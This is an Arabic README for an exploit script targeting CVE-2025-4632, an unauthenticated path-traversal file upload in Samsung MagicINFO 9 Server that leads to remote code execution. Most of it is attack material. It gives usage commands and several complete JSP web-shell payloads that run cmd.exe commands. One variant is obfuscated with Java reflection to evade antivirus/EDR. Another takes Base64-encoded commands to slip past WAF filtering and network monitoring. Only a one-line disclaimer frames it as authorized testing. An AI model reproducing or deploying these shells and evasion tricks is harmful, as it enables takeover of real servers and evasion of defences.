
يحتوي هذا المستودع على نص برمجي بلغة بايثون لاستنساخ الثغرة CVE-2025-4632، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها (RCE) في خادم Samsung MagicINFO 9 (الإصدارات التي تسبق 21.1052).
يحتوي هذا المستودع على نص برمجي بلغة Python لإعادة إنتاج CVE-2025-4632، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها (RCE) في خادم Samsung MagicINFO 9 (الإصدارات السابقة لـ 21.1052).
توجد الثغرة بسبب تقييد غير صحيح لاسم المسار في servlet SWUpdateFileUploader. باستخدام traversal المسار (../../)، يمكن لمهاجم غير مصادق كتابة ملفات عشوائية بصلاحية SYSTEM، مما يؤدي إلى اختراق كامل للخادم.
s4e-io (من مجتمع ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632.يقوم النص البرمجي بأتمتة عملية إنشاء طلب تحديث جهاز يبدو شرعياً. يستغل معامل fileName عن طريق حقن تسلسلات traversal المسار للخروج من دليل الرفع المقصود وكتابة ملف مباشرةً إلى جذر الويب (/MagicInfo/).
ينفذ النص البرمجي خطوتين:
/MagicInfo/servlet/SWUpdateFileUploader مع مسار traversal./MagicInfo/<اسم الملف> لتأكيد نجاح الاستغلال.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: عنوان URL الأساسي للهدف (مثل: http://192.168.1.100:7001).-f / --filename: اسم الملف المراد إنشاؤه (مثل: shell.jsp).-d / --data: المحتوى الخام المراد كتابته في الملف.تم اختبار الحمولات التالية بنجاح أثناء أنشطة التقييم. صُممت لإثبات التأثير مع تجاوز ضوابط أمان نقطة النهاية.
يُستخدم لتأكيد تنفيذ JSP بأمان دون تشغيل Antivirus أو EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
الوصول: http://<target>:7001/MagicInfo/poc.jsp
شل ويب JSP قياسي. ملاحظة: قد يتم اكتشافه وعزله بواسطة حلول AV/EDR الحديثة مما يؤدي إلى ظهور 404 Not Found عند التحقق.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
الوصول: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
يُستخدم عندما يتم حظر الشل القياسي. تستخدم هذه الحمولة Java Reflection لإخفاء توقيع Runtime.getRuntime().exec من التحليل الثابت.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
الوصول: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
موصى به بشدة للأوامر المعقدة: إذا واجهت أخطاء 400 Bad Request عند محاولة تشغيل أوامر تحتوي على مسافات أو شرطات مائلة عكسية أو أحرف خاصة (مثل dir c:\)، فإن التحقق الصارم من URI من قبل الخادم أو WAF يمنع الطلب.
تتوقع هذه الحمولة المتقدمة أن يكون الأمر مشفرًا بـ Base64 في URL. تقوم بفك تشفيره من جانب الخادم قبل التنفيذ، متجاوزةً بذلك تصفية URL بالكامل وإخفاء الأمر من مراقبي الشبكة.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
أمثلة على الاستخدام:
قم بتشفير أمرك إلى Base64 محليًا (مثل: echo -n "dir c:\" | base64)، ثم مرره إلى المعامل c.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==إخلاء المسؤولية: هذا النص البرمجي لأغراض تعليمية واختبار الاختراق المصرح به فقط.